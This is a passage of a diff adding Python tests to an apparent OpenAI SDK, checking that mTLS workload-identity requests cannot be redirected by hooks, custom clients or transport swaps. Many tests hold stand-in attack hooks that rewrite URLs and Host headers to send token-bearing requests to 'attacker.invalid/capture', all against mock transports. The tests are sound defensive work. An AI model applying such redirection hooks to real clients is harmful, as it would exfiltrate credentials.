test_sync_x509_rejects_conflicting_transport_extensions_on_openai_mtls_origins(extension: str) -> None: + requests: list[httpx2.Request] = [] + + def hook(request: httpx2.Request) -> None: + request.extensions[extension] = "attacker.example" if extension == "sni_hostname" else b"https://attacker/" + + http_client = httpx2.Client( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [hook]}, + ) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="hostname|target"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("extension", ["sni_hostname", "target"]) +async def test_async_x509_rejects_conflicting_transport_extensions_on_openai_mtls_origins(extension: str) -> None: + requests: list[httpx2.Request] = [] + + async def hook(request: httpx2.Request) -> None: + request.extensions[extension] = "attacker.example" if extension == "sni_hostname" else b"https://attacker/" + + http_client = httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [hook]}, + ) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="hostname|target"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("mutation", ["transport", "mounts"]) +def test_sync_x509_rejects_request_hook_destination_changes_after_transport_replacement(mutation: str) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + def hook(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + replacement = httpx2.MockTransport(lambda redirected: _record(requests, redirected)) + if mutation == "transport": + http_client._transport = replacement + else: + http_client._mounts.clear() + http_client._transport = replacement + + http_client.event_hooks["request"].append(hook) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("mutation", ["transport", "mounts"]) +async def test_async_x509_rejects_request_hook_destination_changes_after_transport_replacement(mutation: str) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async def hook(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + replacement = httpx2.MockTransport(lambda redirected: _record(requests, redirected)) + if mutation == "transport": + http_client._transport = replacement + else: + http_client._mounts.clear() + http_client._transport = replacement + + http_client.event_hooks["request"].append(hook) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("hook_mutation", ["clear", "append"]) +def test_sync_x509_validates_destination_after_request_hooks_mutate_the_hook_list(hook_mutation: str) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + http_client._transport = httpx2.MockTransport(lambda redirected: _record(requests, redirected)) + http_client._mounts.clear() + + def hook(request: httpx2.Request) -> None: + if hook_mutation == "clear": + http_client.event_hooks["request"].clear() + redirect(request) + else: + http_client.event_hooks["request"].append(redirect) + + http_client.event_hooks["request"].append(hook) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("hook_mutation", ["clear", "append"]) +async def test_async_x509_validates_destination_after_request_hooks_mutate_the_hook_list(hook_mutation: str) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + http_client._transport = httpx2.MockTransport(lambda redirected: _record(requests, redirected)) + http_client._mounts.clear() + + async def hook(request: httpx2.Request) -> None: + if hook_mutation == "clear": + http_client.event_hooks["request"].clear() + await redirect(request) + else: + http_client.event_hooks["request"].append(redirect) + + http_client.event_hooks["request"].append(hook) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize( + ("redirect", "authorization", "copy_extensions"), + [ + (False, None, True), + (False, None, False), + (True, None, True), + (True, None, False), + (True, "bearer access-token", True), + (True, "bearer access-token", False), + (True, "Bearer substituted-token", True), + (True, "Bearer substituted-token", False), + (True, "Basic access-token", False), + (True, "Bearer access%2Dtoken", False), + ], +) +def test_sync_x509_validates_requests_reconstructed_by_custom_clients( + redirect: bool, authorization: str | None, copy_extensions: bool +) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + url = "https://attacker.invalid/capture" if redirect else str(request.url) + extensions = request.extensions if copy_extensions else None + copied = httpx2.Request(request.method, url, headers=dict(request.headers), extensions=extensions) + if redirect: + copied.headers["host"] = "attacker.invalid" + if authorization is not None: + copied.headers["authorization"] = authorization + return super().send(copied, **kwargs) + + http_client = ReconstructingClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), trust_env=False + ) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + if redirect: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + else: + assert client.models.list().object == "list" + + expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] + assert [str(request.url) for request in requests] == expected + + +@pytest.mark.parametrize( + ("redirect", "authorization", "copy_extensions"), + [ + (False, None, True), + (False, None, False), + (True, None, True), + (True, None, False), + (True, "bearer access-token", True), + (True, "bearer access-token", False), + (True, "Bearer substituted-token", True), + (True, "Bearer substituted-token", False), + (True, "Basic access-token", False), + (True, "Bearer access%2Dtoken", False), + ], +) +async def test_async_x509_validates_requests_reconstructed_by_custom_clients( + redirect: bool, authorization: str | None, copy_extensions: bool +) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + url = "https://attacker.invalid/capture" if redirect else str(request.url) + extensions = request.extensions if copy_extensions else None + copied = httpx2.Request(request.method, url, headers=dict(request.headers), extensions=extensions) + if redirect: + copied.headers["host"] = "attacker.invalid" + if authorization is not None: + copied.headers["authorization"] = authorization + return await super().send(copied, **kwargs) + + http_client = ReconstructingClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), trust_env=False + ) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + if redirect: + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + else: + assert (await client.models.list()).object == "list" + + expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] + assert [str(request.url) for request in requests] == expected + + +@pytest.mark.parametrize("reconstruct", [False, True]) +def test_sync_x509_validates_requests_dispatched_by_custom_clients_in_another_thread(reconstruct: bool) -> None: + requests: list[httpx2.Request] = [] + + class ThreadDispatchClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if reconstruct: + request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + with ThreadPoolExecutor(max_workers=1) as executor: + return executor.submit(super().send, request, **kwargs).result() + + def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + http_client = ThreadDispatchClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [redirect]}, + trust_env=False, + ) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +def test_sync_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None: + class EqualClient(httpx2.Client): + @override + def __eq__(self, other: object) -> bool: + return isinstance(other, EqualClient) + + @override + def __hash__(self) -> int: + return 1 + + first_requests: list[httpx2.Request] = [] + second_requests: list[httpx2.Request] = [] + first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request))) + second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request))) + + def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + second_transport.event_hooks["request"].append(redirect) + with OpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first: + assert first.models.list().object == "list" + with OpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second: + with pytest.raises(OpenAIError, match="configured API origin"): + second.models.list() + + assert [str(request.url) for request in second_requests] == [_TOKEN_URL] + + +async def test_async_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None: + class EqualClient(httpx2.AsyncClient): + @override + def __eq__(self, other: object) -> bool: + return isinstance(other, EqualClient) + + @override + def __hash__(self) -> int: + return 1 + + first_requests: list[httpx2.Request] = [] + second_requests: list[httpx2.Request] = [] + first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request))) + second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request))) + + async def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + second_transport.event_hooks["request"].append(redirect) + async with AsyncOpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first: + assert (await first.models.list()).object == "list" + async with AsyncOpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second: + with pytest.raises(OpenAIError, match="configured API origin"): + await second.models.list() + + assert [str(request.url) for request in second_requests] == [_TOKEN_URL] + + +def test_sync_x509_accepts_unhashable_custom_http_clients() -> None: + class UnhashableClient(httpx2.Client): + @override + def __eq__(self, other: object) -> bool: + return self is other + + http_client = UnhashableClient(transport=httpx2.MockTransport(_response)) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + + +async def test_async_x509_accepts_unhashable_custom_http_clients() -> None: + class UnhashableClient(httpx2.AsyncClient): + @override + def __eq__(self, other: object) -> bool: + return self is other + + http_client = UnhashableClient(transport=httpx2.MockTransport(_response)) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + +def test_sync_x509_preserves_request_hooks_added_during_send() -> None: + calls: list[str] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(_response)) + + def appended(_request: httpx2.Request) -> None: + calls.append("appended") + + def initial(_request: httpx2.Request) -> None: + calls.append("initial") + if appended not in http_client.event_hooks["request"]: + http_client.event_hooks["request"].append(appended) + + http_client.event_hooks["request"].append(initial) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + client.models.list() + assert len(http_client.event_hooks["request"]) == 2 + client.models.list() + + assert calls == ["initial", "appended", "initial", "appended"] + + +async def test_async_x509_preserves_request_hooks_added_during_send() -> None: + calls: list[str] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response)) + + async def appended(_request: httpx2.Request) -> None: + calls.append("appended") + + async def initial(_request: httpx2.Request) -> None: + calls.append("initial") + if appended not in http_client.event_hooks["request"]: + http_client.event_hooks["request"].append(appended) + + http_client.event_hooks["request"].append(initial) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + await client.models.list() + assert len(http_client.event_hooks["request"]) == 2 + await client.models.list() + + assert calls == ["initial", "appended", "initial", "appended"] + + +def test_sync_x509_preserves_custom_client_send_and_response_encoding() -> None: + class RecordingClient(httpx2.Client): + def __init__(self) -> None: + self.sent: list[str] = [] + self.send_count = 0 + self.lifecycle: list[str] = [] + super().__init__( + default_encoding="latin-1", + transport=httpx2.MockTransport( + lambda request: ( + _response(request) + if str(request.url) == _TOKEN_URL + else httpx2.Response(200, request=request, content=b"caf\xe9") + ) + ), + ) + + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + assert self is http_client + self.sent.append(str(request.url)) + self.send_count += 1 + return super().send(request, **kwargs) + + @override + def __enter__(self) -> RecordingClient: + self.lifecycle.append("enter") + return super().__enter__() + + @override + def __exit__(self, *args: Any) -> None: + self.lifecycle.append("exit") + super().__exit__(*args) + + http_client = RecordingClient() + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + response = client.get("/models", cast_to=httpx2.Response) + assert response.text == "café" + assert http_client.sent == [_API_URL] + assert http_client.send_count == 1 + assert http_client.lifecycle == [] + assert http_client._state.name == "OPENED" + + +async def test_async_x509_preserves_custom_client_send_and_response_encoding() -> None: + class RecordingClient(httpx2.AsyncClient): + def __init__(self) -> None: + self.sent: list[str] = [] + self.send_count = 0 + self.lifecycle: list[str] = [] + super().__init__( + default_encoding="latin-1", + transport=httpx2.MockTransport( + lambda request: ( + _response(request) + if str(request.url) == _TOKEN_URL + else httpx2.Response(200, request=request, content=b"caf\xe9") + ) + ), + ) + + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + assert self is http_client + self.sent.append(str(request.url)) + self.send_count += 1 + return await super().send(request, **kwargs) + + @override + async def __aenter__(self) -> RecordingClient: + self.lifecycle.append("enter") + return await super().__aenter__() + + @override + async def __aexit__(self, *args: Any) -> None: + self.lifecycle.append("exit") + await super().__aexit__(*args) + + http_client = RecordingClient() + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + response = await client.get("/models", cast_to=httpx2.Response) + assert response.text == "café" + assert http_client.sent == [_API_URL] + assert http_client.send_count == 1 + assert http_client.lifecycle == [] + assert http_client._state.name == "OPENED" + + +def test_sync_x509_preserves_custom_client_state_across_concurrent_requests() -> None: + barrier = threading.Barrier(2) + + class CountingClient(httpx2.Client): + def __init__(self) -> None: + self.send_count = 0 + super().__init__(transport=httpx2.MockTransport(_response)) + + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + self.send_count += 1 + barrier.wait(timeout=5) + return super().send(request, **kwargs) + + http_client = CountingClient() + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with ThreadPoolExecutor(max_workers=2) as executor: + futures = [executor.submit(client.models.list) for _ in range(2)] + assert [future.result().object for future in futures] == ["list", "list"] + + assert http_client.send_count == 2 + + +async def test_async_x509_preserves_custom_client_state_across_concurrent_requests() -> None: + ready = asyncio.Event() + started = 0 + + class CountingClient(httpx2.AsyncClient): + def __init__(self) -> None: + self.send_count = 0 + super().__init__(transport=httpx2.MockTransport(_response)) + + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + nonlocal started + self.send_count += 1 + started += 1 + if started == 2: + ready.set() + await ready.wait() + return await super().send(request, **kwargs) + + http_client = CountingClient() + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + responses = await asyncio.gather(client.models.list(), client.models.list()) + assert [response.object for response in responses] == ["list", "list"] + + assert http_client.send_count == 2 + + +def test_sync_x509_preserves_slotted_custom_client_state() -> None: + class SlottedClient(httpx2.Client): + __slots__ = ("send_count",) + + def __init__(self) -> None: + self.send_count = 0 + super().__init__(transport=httpx2.MockTransport(_response)) + + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + self.send_count += 1 + return super().send(request, **kwargs) + + http_client = SlottedClient() + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + client.models.list() + + assert http_client.send_count == 1 + + +async def test_async_x509_preserves_slotted_custom_client_state() -> None: + class SlottedClient(httpx2.AsyncClient): + __slots__ = ("send_count",) + + def __init__(self) -> None: + self.send_count = 0 + super().__init__(transport=httpx2.MockTransport(_response)) + + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + self.send_count += 1 + return await super().send(request, **kwargs) + + http_client = SlottedClient() + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + await client.models.list() + + assert http_client.send_count == 1 + + +def test_sync_x509_preserves_immutable_custom_client_state_across_concurrent_requests() -> None: + barrier = threading.Barrier(2) + + class RecordingClient(httpx2.Client): + def __init__(self) -> None: + self.history: tuple[str, ...] = () + super().__init__(transport=httpx2.MockTransport(_response)) + + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + self.history += (str(request.url),) + barrier.wait(timeout=5) + return super().send(request, **kwargs) + + http_client = RecordingClient() + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with ThreadPoolExecutor(max_workers=2) as executor: + futures = [executor.submit(client.models.list) for _ in range(2)] + assert [future.result().object for future in futures] == ["list", "list"] + + assert http_client.history == (_API_URL, _API_URL) + + +async def test_async_x509_preserves_immutable_custom_client_state_across_concurrent_requests() -> None: + ready = asyncio.Event() + started = 0 + + class RecordingClient(httpx2.AsyncClient): + def __init__(self) -> None: + self.history: tuple[str, ...] = () + super().__init__(transport=httpx2.MockTransport(_response)) + + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + nonlocal started + self.history += (str(request.url),) + started += 1 + if started == 2: + ready.set() + await ready.wait() + return await super().send(request, **kwargs) + + http_client = RecordingClient() + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + responses = await asyncio.gather(client.models.list(), client.models.list()) + assert [response.object for response in responses] == ["list", "list"] + + assert http_client.history == (_API_URL, _API_URL) + + +def test_sync_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None: + exchange_requests: list[httpx2.Request] = [] + api_requests: list[httpx2.Request] = [] + exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request)) + api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request)) + http_client = httpx2.Client( + transport=exchange_transport, + mounts={"https://mtls.api.openai.com": api_transport}, + trust_env=False, + ) + original_mounts = http_client._mounts + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + assert http_client._transport is exchange_transport + assert http_client._mounts is original_mounts + + assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL] + assert [str(request.url) for request in api_requests] == [_API_URL] + + +async def test_async_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None: + exchange_requests: list[httpx2.Request] = [] + api_requests: list[httpx2.Request] = [] + exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request)) + api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request)) + http_client = httpx2.AsyncClient( + transport=exchange_transport, + mounts={"https://mtls.api.openai.com": api_transport}, + trust_env=False, + ) + original_mounts = http_client._mounts + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + assert http_client._transport is exchange_transport + assert http_client._mounts is original_mounts + + assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL] + assert [str(request.url) for request in api_requests] == [_API_URL] + + +@pytest.mark.parametrize("nested_mode", ["x509", "api_key", "matching_api_key"]) +def test_sync_x509_allows_nested_requests_using_the_same_http_client(nested_mode: str) -> None: + requests: list[httpx2.Request] = [] + + class NestedClient(httpx2.Client): + def __init__(self) -> None: + self.nested: OpenAI | None = None + self.nested_completed = False + super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if not self.nested_completed and self.nested is not None: + self.nested_completed = True + assert self.nested.models.list().object == "list" + return super().send(request, **kwargs) + + http_client = NestedClient() + if nested_mode == "x509": + nested_identity = x509_workload_identity(identity_provider_id="nested-idp", service_account_id="nested-svc") + http_client.nested = OpenAI(workload_identity=nested_identity, http_client=http_client, max_retries=0) + else: + api_key = "access-token" if nested_mode == "matching_api_key" else "nested-api-key" + http_client.nested = OpenAI( + api_key=api_key, base_url="https://nested.example/v1", http_client=http_client, max_retries=0 + ) + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + + assert http_client.nested_completed + + +@pytest.mark.parametrize("nested_mode", ["x509", "api_key", "matching_api_key"]) +async def test_async_x509_allows_nested_requests_using_the_same_http_client(nested_mode: str) -> None: + requests: list[httpx2.Request] = [] + + class NestedClient(httpx2.AsyncClient): + def __init__(self) -> None: + self.nested: AsyncOpenAI | None = None + self.nested_completed = False + super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if not self.nested_completed and self.nested is not None: + self.nested_completed = True + assert (await self.nested.models.list()).object == "list" + return await super().send(request, **kwargs) + + http_client = NestedClient() + if nested_mode == "x509": + nested_identity = x509_workload_identity(identity_provider_id="nested-idp", service_account_id="nested-svc") + http_client.nested = AsyncOpenAI(workload_identity=nested_identity, http_client=http_client, max_retries=0) + else: + api_key = "access-token" if nested_mode == "matching_api_key" else "nested-api-key" + http_client.nested = AsyncOpenAI( + api_key=api_key, base_url="https://nested.example/v1", http_client=http_client, max_retries=0 + ) + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert http_client.nested_completed + + +@pytest.mark.parametrize( + ("ordinary_origin", "ordinary_api_key"), + [("https://nested.example/v1", "nested-api-key"), ("https://attacker.invalid/v1", "access-token")], +) +def test_sync_x509_rejects_redirected_protected_requests_nested_inside_ordinary_requests( + ordinary_origin: str, ordinary_api_key: str +) -> None: + requests: list[httpx2.Request] = [] + ordinary_host = httpx2.URL(ordinary_origin).host + + class MixedNestedClient(httpx2.Client): + def __init__(self) -> None: + self.depth = 0 + self.ordinary: OpenAI | None = None + self.protected: OpenAI | None = None + super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com" and self.depth == 0 and self.ordinary is not None: + self.depth = 1 + self.ordinary.models.list() + elif request.url.host == ordinary_host and self.depth == 1 and self.protected is not None: + self.depth = 2 + self.protected.models.list() + elif request.url.host == "mtls.api.openai.com" and self.depth == 2: + request = httpx2.Request( + request.method, "https://attacker.invalid/capture", headers=dict(request.headers) + ) + request.headers["host"] = "attacker.invalid" + return super().send(request, **kwargs) + + http_client = MixedNestedClient() + http_client.ordinary = OpenAI( + api_key=ordinary_api_key, base_url=ordinary_origin, http_client=http_client, max_retries=0 + ) + http_client.protected = OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + + assert all(request.url.host != "attacker.invalid" for request in requests) + + +@pytest.mark.parametrize( + ("ordinary_origin", "ordinary_api_key"), + [("https://nested.example/v1", "nested-api-key"), ("https://attacker.invalid/v1", "access-token")], +) +async def test_async_x509_rejects_redirected_protected_requests_nested_inside_ordinary_requests( + ordinary_origin: str, ordinary_api_key: str +) -> None: + requests: list[httpx2.Request] = [] + ordinary_host = httpx2.URL(ordinary_origin).host + + class MixedNestedClient(httpx2.AsyncClient): + def __init__(self) -> None: + self.depth = 0 + self.ordinary: AsyncOpenAI | None = None + self.protected: AsyncOpenAI | None = None + super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com" and self.depth == 0 and self.ordinary is not None: + self.depth = 1 + await self.ordinary.models.list() + elif request.url.host == ordinary_host and self.depth == 1 and self.protected is not None: + self.depth = 2 + await self.protected.models.list() + elif request.url.host == "mtls.api.openai.com" and self.depth == 2: + request = httpx2.Request( + request.method, "https://attacker.invalid/capture", headers=dict(request.headers) + ) + request.headers["host"] = "attacker.invalid" + return await super().send(request, **kwargs) + + http_client = MixedNestedClient() + http_client.ordinary = AsyncOpenAI( + api_key=ordinary_api_key, base_url=ordinary_origin, http_client=http_client, max_retries=0 + ) + http_client.protected = AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + + assert all(request.url.host != "attacker.invalid" for request in requests) + + +def test_sync_x509_allows_ordinary_requests_that_start_before_a_concurrent_protected_request() -> None: + ordinary_started = threading.Event() + protected_started = threading.Event() + allow_ordinary = threading.Event() + allow_protected = threading.Event() + + class CoordinatedClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "nested.example": + ordinary_started.set() + assert allow_ordinary.wait(timeout=5) + elif request.url.host == "mtls.api.openai.com": + protected_started.set() + assert allow_protected.wait(timeout=5) + return super().send(request, **kwargs) + + http_client = CoordinatedClient(transport=httpx2.MockTransport(_response)) + ordinary = OpenAI(api_key="ordinary-key", base_url="https://nested.example/v1", http_client=http_client) + protected = OpenAI(workload_identity=_identity(), http_client=http_client) + + with ThreadPoolExecutor(max_workers=2) as executor: + ordinary_result = executor.submit(ordinary.models.list) + assert ordinary_started.wait(timeout=5) + protected_result = executor.submit(protected.models.list) + assert protected_started.wait(timeout=5) + allow_ordinary.set() + try: + assert ordinary_result.result(timeout=5).object == "list" + finally: + allow_protected.set() + assert protected_result.result(timeout=5).object == "list" + + +async def test_async_x509_allows_ordinary_requests_that_start_before_a_concurrent_protected_request() -> None: + ordinary_started = asyncio.Event() + protected_started = asyncio.Event() + allow_ordinary = asyncio.Event() + allow_protected = asyncio.Event() + + class CoordinatedClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "nested.example": + ordinary_started.set() + await asyncio.wait_for(allow_ordinary.wait(), timeout=5) + elif request.url.host == "mtls.api.openai.com": + protected_started.set() + await asyncio.wait_for(allow_protected.wait(), timeout=5) + return await super().send(request, **kwargs) + + http_client = CoordinatedClient(transport=httpx2.MockTransport(_response)) + ordinary = AsyncOpenAI(api_key="ordinary-key", base_url="https://nested.example/v1", http_client=http_client) + protected = AsyncOpenAI(workload_identity=_identity(), http_client=http_client) + + async def list_models(client: AsyncOpenAI) -> str: + return (await client.models.list()).object + + ordinary_result = asyncio.create_task(list_models(ordinary)) + await asyncio.wait_for(ordinary_started.wait(), timeout=5) + protected_result = asyncio.create_task(list_models(protected)) + await asyncio.wait_for(protected_started.wait(), timeout=5) + allow_ordinary.set() + try: + assert await asyncio.wait_for(ordinary_result, timeout=5) == "list" + finally: + allow_protected.set() + assert await asyncio.wait_for(protected_result, timeout=5) == "list" + + +@pytest.mark.parametrize("shared_client", [False, True]) +def test_sync_x509_never_trusts_a_matching_concurrent_ordinary_request(shared_client: bool) -> None: + requests: list[httpx2.Request] = [] + ordinary_started = threading.Event() + allow_ordinary = threading.Event() + + def handle(request: httpx2.Request) -> httpx2.Response: + if request.url.path == "/v1/models" and request.url.host == "attacker.invalid": + ordinary_started.set() + assert allow_ordinary.wait(timeout=5) + return _record(requests, request) + + def redirect(request: httpx2.Request) -> None: + if request.url.host == "mtls.api.openai.com": + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + class CrossThreadClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + with ThreadPoolExecutor(max_workers=1) as executor: + return executor.submit(super().send, request, **kwargs).result() + return super().send(request, **kwargs) + + protected_transport = CrossThreadClient(transport=httpx2.MockTransport(handle), event_hooks={"request": [redirect]}) + ordinary_transport = protected_transport if shared_client else httpx2.Client(transport=httpx2.MockTransport(handle)) + ordinary = OpenAI(api_key="access-token", base_url="https://attacker.invalid/v1", http_client=ordinary_transport) + protected = OpenAI(workload_identity=_identity(), http_client=protected_transport, max_retries=0) + + with ThreadPoolExecutor(max_workers=1) as executor: + ordinary_result = executor.submit(ordinary.models.list) + assert ordinary_started.wait(timeout=5) + try: + with pytest.raises(OpenAIError, match="configured API origin"): + protected.models.list() + finally: + allow_ordinary.set() + assert ordinary_result.result(timeout=5).object == "list" + + assert all(request.url.path != "/capture" for request in requests) + + +@pytest.mark.parametrize("shared_client", [False, True]) +async def test_async_x509_never_trusts_a_matching_concurrent_ordinary_request(shared_client: bool) -> None: + requests: list[httpx2.Request] = [] + ordinary_started = asyncio.Event() + allow_ordinary = asyncio.Event() + + async def handle(request: httpx2.Request) -> httpx2.Response: + if request.url.path == "/v1/models" and request.url.host == "attacker.invalid": + ordinary_started.set() + await asyncio.wait_for(allow_ordinary.wait(), timeout=5) + return _record(requests, request) + + async def redirect(request: httpx2.Request) -> None: + if request.url.host == "mtls.api.openai.com": + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + class CrossContextClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + copied = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + coroutine = super().send(copied, **kwargs) + return await Context().run(asyncio.create_task, coroutine) + return await super().send(request, **kwargs) + + protected_transport = CrossContextClient( + transport=httpx2.MockTransport(handle), 